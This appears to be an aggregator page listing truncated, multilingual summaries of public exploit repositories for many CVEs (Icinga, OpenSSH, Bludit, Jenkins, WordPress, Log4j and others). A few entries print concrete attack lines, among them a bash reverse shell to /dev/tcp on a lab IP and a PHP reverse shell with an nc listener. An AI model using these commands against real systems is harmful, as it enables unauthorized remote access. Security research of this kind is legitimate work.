CVE-2022-24715-go

CVE-2022-24715 El exploit de Icinga Web 2 escrito en go. El código Python original se puede encontrar en: https://packetstormsecurity.com/files/173516/Icinga-Web-2.10-Remote-Code-Execution.html...

cve-2021-21972

cve-2021-21972 使用说明 python3 python poc.py -u target -s webshell/ssh webshell只支持vecter6.5版本，ssh支持所有版本，该poc只针对Linux。...

CVE-2019-7609-KibanaRCE

CVE-2019-7609-KibanaRCE Se realizaron cambios menores al CVE para hacerlo compatible con Python 3. cve-modific.py Aquí están las modificaciones: En la función getkibanaversion, la línea match = re.findallpattern, r.content se actualizó a match = re.findallpattern, r.text. Este cambio se realizó...

CVE-2024-6387

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求安全归还所有被恐怖组织哈马斯劫持为人质的公民。在所有被扣押者获释并安全回家之前，我们不会停歇。你也可以帮助他们回家。https://stories.bringthemhomenow.net/ OpenSSH CVE-2024-6387 漏洞利用 🚀 本仓库包含一个用于利用 OpenSSH 远程代码执行（RCE）漏洞（CVE-2024-6387）的 Python 脚本。该漏洞涉及信号处理程序中的竞争条件，可能导致任意代码执行，使攻击者能够获取 root 权限。此概念验证仅用于教育目的。 概述 📖 OpenSSH 的...

CVE-2023-26469

CVE-2023-26469 远程代码执行概念验证 此仓库包含针对 CVE-2023-26469 的利用脚本，攻击者可利用路径遍历漏洞访问运行 Jorani 1.0.0 服务器上的文件并执行代码。此外，该脚本还包含 shell 上传功能，以便进一步利用。 漏洞利用概述 CVE-2023-26469 ：一个影响 Jorani 1.0.0 的关键漏洞，可导致远程代码执行。更多详情请参阅 NVD 报告。 免责声明 此代码仅供教育用途。其目的在于演示漏洞如何被利用，以用于教育和安全意识提升。请勿将这些漏洞用于任何恶意活动。...

CVE-2025-69906-Monstra-CMS-3.0.4-Arbitrary-File-Upload-to-RCE

hazlo un readme.md para pegarlo CVE-2025-69906: Monstra CMS 3.0.4 Subida Arbitraria de Archivos a RCE Autor : David PS Abraham Fecha : 5 de febrero de 2026 Severidad : Crítica - Ejecución Remota de Código CVSS 8.8+ CWE : 434 Subida sin restricciones de archivos de tipo peligroso Descripción de la...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE autenticado Uso python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Ejemplo...

cve-2025-57819

🛡️ FreePBX Hunter - CVE-2025-57819 🛡️ Un potente conjunto de herramientas Nuclei para detectar y validar la crítica vulnerabilidad de omisión de autenticación en FreePBX. 📖 Tabla de Contenidos Haga clic para expandir Acerca de Este Proyecto Características Clave Desglose de la Vulnerabilidad...

CVE-2026-57863

Crater Invoice through 6.0.6 contains a path traversal vulnerability in the self-update API that allows authenticated company owners to write arbitrary files outside the intended extraction directory by supplying crafted ZIP archives with ../ sequences to the unzip endpoint. Attackers can exploit...

Php-unit-CVE-2017-9841

phpunit 远程代码执行漏洞（CVE-2017-9841） composer是php包管理工具，使用composer安装扩展包将会在当前目录创建一个vendor文件夹，并将所有文件放在其中。通常这个目录需要放在web目录外，使用户不能直接访问。 phpunit是php中的单元测试工具，其4.8.19 4.8.27和5.0.10 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代码： root@kitploit: eval'?'.filegetcontents'php://input';...

PHP_CVE-2012-1823

PHP-CGI远程代码执行漏洞（CVE-2012-1823） 原理 参考文章 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 影响版本 php 漏洞解读...

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

Ciego-SSRF-a-Ejecución-Remota-de-Código-Shellshock-Informe-Profesional-de-Bug-Bounty Este repositorio contiene un informe profesional de bug bounty que demuestra la explotación exitosa de una vulnerabilidad de SSRF Ciego que alcanzó un endpoint CGI interno vulnerable a Shellshock CVE-2014-6271. S...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 本地文件包含漏洞利用 - CVE-2012-4869 描述 该脚本利用了 Elastix 2.2.0 中的本地文件包含（LFI）漏洞，通过 callmepage.php 端点注入命令，实现远程代码执行（RCE）。该漏洞利用基于 CVE-2012-4869 。 功能 绕过 TLS 证书验证。 使用 Perl 反向 Shell 载荷。 支持 自定义 LHOST 和 LPORT 用于反向 Shell。 抑制 HTTPS 安全警告。 依赖 Python 3 requests 模块 使用以下命令安装依赖： root@kitploit: pip install...

PoC-CVE-2019-1003030

PoC de Bypass del Sandbox de Seguridad de Scripts de Jenkins 2.63 Este proyecto automatiza la creación y entrega de cargas útiles Groovy al endpoint de validación SecureGroovyScript de Jenkins utilizado por Jenkins 2.63. La herramienta admite tanto la ejecución interactiva como la de un solo uso...

THM-MagnusBilling-CVE-2023-30258-Exploit

THM-MagnusBilling-CVE-2023-30258 ¡Perfecto! Convirtamos tu informe completo a un inglés profesional, listo para un repositorio de GitHub. También lo he pulido para mayor claridad y legibilidad — material de nivel de portafolio. ⸻ 🛡️ MagnusBilling RCE → Root CVE-2023-30258 📌 Resumen • Objetivo:...

CVE-2023-42793

CVE-2023-42793 - Crear usuario administrador Ejemplo de ejecución de comando: root@kitploit: python3 exploit.py -u http://localhost User add token - eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1 Successful execution, preparing for the R...

CVE-2024-27956-RCE

CVE-2024-27956-RCE CVE-2024-27956 的 PoC，ValvePress Automatic 插件中的 SQL 注入漏洞。该 PoC 利用此漏洞在目标站点中创建用户并赋予管理员权限。在 WordPress 中获得管理员权限可导致远程代码执行。 使用方法 root@kitploit: git clone https://github.com/diego-tella/CVE-2024-27956-RCE/ cd CVE-2024-27956-RCE python exploit.py http://target.com Payloads 创建用户的 SQL 注入...

log4j-CVE-2021-4104

HEAD Log4jShell1.x Log4j RCE 1.x Poc 攻击 限制 1. 目标具有JMS环境 2. 你需要获得访问权限以修改log4j.properties文件 结论 不如log4shell 2.x有用 Log4shell 主题 https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j 欢迎在reapoc中贡献 https://github.com/cckuailong/reapoc log4j-CVE-2021-4104...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php Cambiar $ip en linea 7 de phprevshell.php nc -lvnp 1234...

CVE-2018-11776

CVE-2018-11776 对CVE-2018-11776漏洞的调查，该漏洞允许攻击者远程执行代码并控制基于Apache Struts的应用程序。 安装与利用 https://github.com/hook-s3c/CVE-2018-11776-Python-PoC Suricata 文件"test.rules"中提供了一条用于Suricata工具的规则。该规则可检测网络流量中的可利用漏洞。 该规则在/etc/suricata/suricata.yaml文件中被引用： root@kitploit: default-rule-path: /etc/suricata rule-files:...